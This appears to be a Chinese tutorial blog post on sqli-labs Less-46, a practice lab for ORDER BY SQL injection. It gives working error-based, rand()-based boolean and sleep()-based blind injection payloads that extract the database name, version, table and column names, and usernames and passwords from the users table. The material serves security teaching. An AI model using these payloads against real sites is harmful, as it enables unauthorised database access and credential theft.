通过盲注脚本复习sqllabs第46关 order by 注入

Less-46

从本关开始,我们开始学习 order by 相关注入的知识。本关的 sql 语句为sql ="SELECT \* FROM users ORDER BY id";尝试?sort=1 desc或者 asc,显示结果不同,则表明可以注入。(升序 or 降序排列)从上述的 sql 语句中我们可以看出,我们的注入点在 order by后面的参数中,而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入。如何进行 order by的注入,我们先来了解一下 。

打开46关

我们可利用 order by 后的一些参数进行注入。

首先(1)、order by 后的数字可以作为一个注入点。也就是构造 order by 后的一个语句,让该语句执行结果为一个数,我们尝试http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

1.直接添加注入语句,?sort=(select ******)

2.利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)

Ps:此处我们可以展示一下 rand(ture)和 rand(false)的结果是不一样的。

3.利用 and,例如?sort=1 and(加 sql 语句)。

同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。


报错注入

复制代码
?sort=(select%20count(*)%20from%20information_schema.co
lumns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))


上述例子,可以看到 root@localhost 的用户名

复制代码
select * from 表名 order by 列名(或者数字) asc;升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc;降序


复制代码
?sort=rand(ascii(left(database(),1))=115)


接下来我们用 rand() 进行演示一下,因为上面提到 rand(true) 和 rand(false) 结果是不一样的。

复制代码
?sort=rand(ascii(left(database(),1))=116)


从上述两个图的结果,对比 rand(ture) 和 rand(false) 的结果,可以看出报错注入是成功的。
( 2 ) procedure analyse 参数后注入 利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。

复制代码
?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

通过暴库

复制代码
?sort=(extractvalue(1,concat(0x7e,(select database()),0x7e)))#


时间注入

复制代码
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)
复制代码
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u',sleep(5),0)
复制代码
?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',sleep(5),0)
相关推荐
Li.CQ1 小时前
SQL学习笔记(二)
笔记·sql·学习
白衣衬衫 两袖清风3 小时前
SQL联查案例
数据库·sql
晨曦5432106 小时前
MySQL MOD()函数详解与Python对比
sql
甘露s7 小时前
MySQL深入之索引、存储引擎和SQL优化
数据库·sql·mysql
偶遇急雨洗心尘7 小时前
记录一次服务器迁移时,数据库版本不一致导致sql函数报错和系统redirect重定向丢失域名问题
运维·服务器·数据库·sql
Logic1018 小时前
《Mysql数据库应用》 第2版 郭文明 实验5 存储过程与函数的构建与使用核心操作与思路解析
数据库·sql·mysql·学习笔记·计算机网络技术·形考作业·国家开放大学
小二·8 小时前
MyBatis基础入门《十六》企业级插件实战:基于 MyBatis Interceptor 实现 SQL 审计、慢查询监控与数据脱敏
数据库·sql·mybatis
小二·8 小时前
MyBatis基础入门《十二》批量操作优化:高效插入/更新万级数据,告别慢 SQL!
数据库·sql·mybatis
百锦再9 小时前
国产数据库的平替亮点——关系型数据库架构适配
android·java·前端·数据库·sql·算法·数据库架构
IT枫斗者10 小时前
Netty的原理和springboot项目整合
java·spring boot·后端·sql·科技·mysql·spring